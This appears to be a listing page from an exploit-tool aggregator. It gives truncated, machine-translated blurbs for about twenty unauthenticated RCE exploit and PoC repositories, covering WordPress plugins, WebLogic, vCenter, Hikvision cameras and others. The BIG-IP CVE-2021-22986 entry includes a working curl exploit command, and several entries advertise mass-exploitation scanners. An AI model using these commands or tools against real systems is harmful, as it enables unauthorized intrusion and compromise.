CVE-2026-13001

CVE-2026-13001 Podlove Podcast Publisher CVSS 9.8 गंभीर | अनप्रमाणित मनमाना फ़ाइल अपलोड जो रिमोट कोड निष्पादन की ओर ले जाता है अवलोकन इस Podlove Podcast Publisher WordPress प्लगइन संस्करण 4.5.1 तक में गंभीर भेद्यता है जो अनप्रमाणित हमलावरों को इमेज कैश कार्यक्षमता के माध्यम से सर्वर पर मनमानी PHP...

CVE-2026-48908

CVE-2026-48908 — تنفيذ الأوامر عن بعد بدون مصادقة في SP Page Builder SP Page Builder comsppagebuilder لجوملا ≤ 6.6.1 يُتيح للمهاجمين غير المصادق عليهم رفع ملفات عشوائية وتحقيق تنفيذ الأوامر عن بعد. الحقل| القيمة ---|--- CVE| CVE-2026-48908 CWE| CWE-284 تحكم وصول غير صحيح المكون| SP Page Builder...

CVE-2026-3844

root@kitploit: ╔════════════════════════════════════════════════════════════╗ ║ CVE-2026-3844 ║ ║ Breeze Cache = 2.4.4 Arbitrary File Upload ║ ║ Unauthenticated RCE | Authorized Lab Use Only ║ ╚════════════════════════════════════════════════════════════╝ نظرة عامة CVE-2026-3844 هي ثغرة رفع ملفات...

CVE-2026-47668

CVE-2026-47668 ثغرة RCE بدون مصادقة في DBGate = 7.1.8 REF1: https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc REF2: https://github.com/Nxploited/CVE-2026-47668 rce.py تنفيذ بسيط لثغرة RCE على /runners/start، بصلاحيات مرتفعة إذا كانت العملية تستطيع الكتابة إلى مجلد ./public/...

CVE-2026-9198

CVE-2026-9198 - IBM Langflow में अप्रमाणित RCE ऑटो-लॉगिन बाईपास के माध्यम से शैक्षिक PoC यह रिपॉजिटरी IBM Langflow OSS को प्रभावित करने वाले CVE-2026-9198 के लिए एक शैक्षिक प्रूफ ऑफ कॉन्सेप्ट प्रदान करता है। The PoC poc.py दर्शाता है कि कैसे एक अप्रमाणित हमलावर निम्नलिखित को जोड़ सकता है: 1...

CVE-2022-46169-Exploit

CVE-2022-46169 PoC - Cacti 1.2.22 में अप्रमाणित RCE यह रिपॉजिटरी CVE-2022-46169 के लिए एक एक्सप्लॉइट है, जो Cacti 1.2.22 को प्रभावित करता है। यह कमजोरी एक अप्रमाणित हमलावर को प्रभावित सिस्टम पर मनमाना कोड निष्पादित करने की अनुमति देती है। यदि आप इस एक्सप्लॉइट के संभव होने के बारे में विस्तृत...

CVE-2020-14882

نشر حصان ذاكرة Behinder عبر CVE-2020-14882 كما هو معروف، فإن CVE-2020-14882 هي ثغرة وصول غير مصرح به، حيث يمكن للمهاجم استغلالها لتنفيذ كود عشوائي على خادم WebLogic Server المتأثر. إن الـ PoC المنشور على الإنترنت يتجاوز الوصول عبر أحرف غير قانونية، ثم يستدعي تنفيذ الأوامر عبر Gadget. لكن في...

HikvisionExploiter

HikvisionExploiter HikvisionExploiter هي أداة استغلال قوية وآلية تستهدف نقاط النهاية غير الموثقة في كاميرات Hikvision IP ، خاصة تلك التي تعمل بإصدار البرنامج الثابت 3.1.3.150324. تقوم الأداة بما يلي: التحقق من الوصول إلى اللقطات السريعة Snapshot استرجاع ملف الإعدادات وفك تشفيره استخراج بيانات...

CVE-2024-25600-Bricks-Builder-WordPress

CVE-2024-25600 एक्सप्लॉइट टूल 🚀 विवरण 📝 यह टूल 🛠️ वर्डप्रेस के Bricks Builder प्लगइन में पाई गई CVE-2024-25600 भेद्यता 🕳️ का शोषण करने के लिए डिज़ाइन किया गया है। यह भेद्यता प्रभावित वेबसाइटों 💻 पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन की अनुमति देती है। यह टूल nonce प्राप्त करके और मनमाने कमांड...

CVE-2025-34085-Multi-target

CVE-2025-34085 मल्टी-टार्गेट RCE स्कैनर CVE-2025-34085 के लिए सामूहिक-शोषण स्कैनर — वर्डप्रेस सिंपल फाइल लिस्ट प्लगइन में एक अप्रमाणित रिमोट कोड निष्पादन भेद्यता। यह उपकरण एक PHP पेलोड को एक चित्र के रूप में प्रच्छन्न करके अपलोड करता है, एक कमजोर फ़ाइल इंजन के माध्यम से इसका नाम बदलता है, और एक...

PoC

إثبات المفهوم مستودع لاستغلالات وأدوات إثبات المفهوم. BMCRSCDRCE استغلال تنفيذ أوامر عن بُعد بدون مصادقة لوكيل RSCD التابع لـ BMC Server Automation. يعمل الاستغلال ضد الخوادم المتأثرة بـ CVE-2016-1542 التي يكتشفها Nessus. هذا أصبح الآن وحدة Metasploit، انظر...

watchTowr-vs-JunosEvolved-CVE-2026-21902

watchTowr-vs-JunosEvolved-CVE-2026-21902 जुनिपर Junos Evolved CVE-2026-21902 के लिए डिटेक्शन आर्टिफैक्ट जनरेटर। https://github.com/user-attachments/assets/a7d667e1-7636-4097-ab3f-838944cdcccc तकनीकी विवरण के लिए हमारा ब्लॉग पोस्ट देखें। कार्रवाई में डिटेक्शन root@kitploit: python...

CVE-2021-21972

CVE-2021-21972 vCenter CVE-2021-21972 के लिए प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट शोध श्रेय: https://swarm.ptsecurity.com/unauth-rce-vmware/, http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/ विंडोज और यूनिक्स vCenter VCSA लक्ष्यों दोनों पर परीक्षण किया गया। उपयोग हानिरहित रूप से जांचने के लिए...

Ultimate-wp2shell

WP2Shell – प्रूफ ऑफ कॉन्सेप्ट शैक्षणिक और रक्षात्मक प्रूफ ऑफ कॉन्सेप्ट PoC जो WordPress Core की कमजोरियों CVE-2026-60137 और CVE-2026-63030 WP2Shell के संपर्क को मान्य करने के लिए है। अवलोकन यह रिपॉजिटरी सामूहिक रूप से WP2Shell के रूप में जानी जाने वाली WordPress Core की कमजोरियों के लिए एक...

CVE-2021-22986-Poc

CVE-2021-22986-Poc यह BIGIP iControl unauth RCE के लिए एक Poc है। POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

CVE-2026-34486

CVE-2026-34486 Apache Tomcat Tribes क्लस्टरिंग में EncryptInterceptor fail-open बाईपास, जो Java डीसीरियलाइज़ेशन के माध्यम से अनऑथेंटिकेटेड RCE की ओर ले जाता है। प्रभावित: 11.0.19+, 10.1.53+, 9.0.116+ फिक्स्ड इन: 11.0.21, 10.1.54, 9.0.117 Bartlomiej Dmitruk striga.ai द्वारा खोजा और रिपोर्ट किया गय...

xwiki-cve-2025-24893

XWiki SolrSearch बिना प्रमाणीकरण के RCE CVE-2025-24893 योगदानकर्ता व्हाइटहैट स्कूल चौथा बैच, 25वीं कक्षा इम दुयोन @endusdksla सारांश XWiki विकि सिंटैक्स और मैक्रोज़ को सर्वर साइड पर व्याख्या करके रेंडर करता है। समस्या यह है कि Main.SolrSearch पृष्ठ मेहमानों के लिए खुला है, फिर भी यह उपयोगकर्ता...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 — Recherche de vulnérabilités RAPTOR Loop-Hunt Un audit de sécurité de Liferay Portal CE 7.0.3 GA4 tag git 7.0.3-ga4, commit b2d7cc68a réalisé avec la méthodologie RAPTOR loop-hunt : reconnaissance déterministe → 25 agents générateurs isolés lisant le code source brut → 22...

CVE-2020-14882

ثغرة تنفيذ الأوامر عن بعد غير مصادق عليها في Oracle WebLogic يستغل هذا النص البرمجي PowerShell الثغرة CVE-2020-14882 لتحقيق تنفيذ الأوامر عن بعد دون مصادقة على إصدارات Oracle WebLogic Server: 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 الاستخدام root@kitploit: .\exploit.ps1 -target...

Ultimate-CVE-2026-61511

CVE-2026-61511 – إثبات المفهوم إثبات مفهوم PoC تعليمي ودفاعي للتحقق من التعرض لثغرة vBulletin CVE-2026-61511 – تنفيذ التعليمات البرمجية عن بُعد دون مصادقة. التواصل تيليغرام: https://t.me/thecodeb0ss نظرة عامة يوفر هذا المستودع إثبات مفهوم للكشف الدفاعي والتحقق من ثغرة vBulletin CVE-2026-61511...